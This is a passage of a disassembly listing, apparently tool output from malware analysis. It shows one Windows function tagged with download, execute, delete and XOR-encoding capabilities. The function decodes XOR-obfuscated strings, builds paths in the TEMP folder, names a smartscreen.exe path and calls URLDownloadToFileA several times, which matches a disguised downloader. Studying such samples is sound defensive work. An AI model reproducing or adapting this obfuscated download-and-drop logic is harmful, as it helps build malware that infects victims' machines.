Function at 0x1400174f0
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Query environment variable
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x150
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x1400ab010]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor ebx, ebx
movsd xmm0, qword [str.eROS_o__0E]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14009e678]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x14009e67c]
mov byte [rsp + 0x6c], al
mov r8d, ebx
lea r14d, [rbx + 5]
lea r15d, [rbx + 0x1f]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140017673
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14009eab0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999]
movd xmm0, dword [str.eROS_o__0E]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14009eac0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999]
movd xmm0, dword [rsp + 0x64]
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140017680
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x1400176d2
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1400105e0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017710
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.1400105e0
nop
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x38]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.14001d4a0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140017782
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001777c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001777c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400177be
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400177b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018c35
call fcn.140020998
movsd xmm0, qword [str.eROS_o0E]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14009e700]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x14009e704]
mov byte [rsp + 0x6c], al
mov r8d, ebx
cmp esi, 2
jl 0x1400178fd
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14009eab0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.eROS_o0E]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14009eac0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140017910
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rsp + 0x60]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017960
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400105e0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400179a0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400105e0
nop
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x70]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.14001d4a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140017a11
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017a0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140017a4e
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018be6
call fcn.140020998
movsd xmm0, qword [str.ejTKXLm5_l__F]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14009e3c0]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14009e3c4]
mov word [rsp + 0x6c], ax
cmp byte [0x14009e3c5], 0
je 0x140017be3
mov r8d, ebx
cmp esi, 2
jl 0x140017b9b
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14009eab0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.ejTKXLm5_l__F]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14009eac0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140017bb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rsp + 0x60]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017c00
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400105e0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017c40
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400105e0
nop
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x70]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp - 0x28]
call fcn.14001d4a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140017cb1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017cab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017cab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140017cee
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ce9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b97
call fcn.140020998
movsd xmm0, qword [str.ejTKXLm5_l_F]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14009e5c8]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14009e5cc]
mov word [rsp + 0x6c], ax
cmp byte [0x14009e5cd], 0
je 0x140017e83
mov r8d, ebx
cmp esi, 2
jl 0x140017e3b
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14009eab0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.ejTKXLm5_l_F]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14009eac0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009ead0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140017e50
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rsp + 0x60]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017ea0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400105e0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
inc rdi
cmp byte [rax + rdi], 0
jne 0x140017ed7
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400105e0
nop
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x70]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp - 0x48]
call fcn.14001d4a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140017f4a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017f44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140017f8a
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017f85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
call fcn.1400215d4
lea rcx, str.C:WindowsSystem32_smartscreen.exe
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_35
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.1400141e0
nop
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rcx, qword [rsp + 0x38]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rsp + 0x70]
call fcn.140021834
mov edx, eax
test eax, eax
jne 0x14001802e
mov eax, dword [rbp - 0x80]
test al, 1
mov ecx, 0x1ff
mov r8d, 0x16d
cmovne ecx, r8d
mov dword [rsp + 0x64], ecx
bt eax, 0xa
jae 0x140018020
mov ecx, dword [rbp - 0x7c]
cmp ecx, 0xa000000c
jne 0x140018011
lea eax, [rdx + 4]
jmp 0x140018051
cmp ecx, 0xa0000003
jne 0x140018020
mov eax, 0xa
jmp 0x140018051
movzx eax, al
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x140018051
mov dword [rsp + 0x64], 0xffff
sub eax, 2
je 0x14001804c
sub eax, 1
je 0x14001804c
sub eax, 0x32
je 0x14001804c
cmp eax, 0x46
mov eax, ebx
jne 0x140018051
mov eax, 1
mov dword [rsp + 0x60], edx
lea rcx, [0x1400ab0c8]
mov qword [rsp + 0x68], rcx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
test eax, eax
je 0x1400180b7
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x1400180c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400180c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400180c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor dil, dil
test edx, edx
jne 0x140018cc8
jmp 0x140018077
call fcn.140020998
test dil, dil
je 0x140018ae4
lea r10, [rbp - 0x68]
movups xmm0, xmmword [0x14009e4e0]
movups xmm1, xmmword [0x14009e4f0]
movzx eax, word [0x14009e500]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
cmp qword [rbp - 0x50], 0x10
jb 0x140018103
mov r10, qword [rbp - 0x68]
mov r8d, ebx
cmp esi, 2
jl 0x14001825b
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140018150
cmp r8d, 0x22
jge 0x1400182a3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140018270
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r10
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r10, [rbp - 8]
movups xmm0, xmmword [0x14009e648]
movups xmm1, xmmword [0x14009e658]
movzx eax, word [0x14009e668]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
cmp qword [rbp + 0x10], 0x10
jb 0x1400182ec
mov r10, qword [rbp - 8]
mov r8d, ebx
cmp esi, 2
jl 0x14001843c
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140018331
cmp r8d, 0x22
jge 0x140018483
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140018450
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r10
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r10, [rbp - 0x28]
movups xmm0, xmmword [0x14009e528]
movups xmm1, xmmword [0x14009e538]
movzx eax, word [0x14009e548]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
movzx eax, byte [0x14009e54a]
mov byte [rbp - 0x6e], al
cmp qword [rbp - 0x10], 0x10
jb 0x1400184d6
mov r10, qword [rbp - 0x28]
mov r8d, ebx
cmp esi, 2
jl 0x14001862b
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140018520
cmp r8d, 0x23
jge 0x140018673
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140018640
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r10
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r10, [rbp - 0x48]
movups xmm0, xmmword [str.QNOL_a]
movups xmm1, xmmword [0x14009e6d0]
movzx eax, word [0x14009e6e0]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
movzx eax, byte [0x14009e6e2]
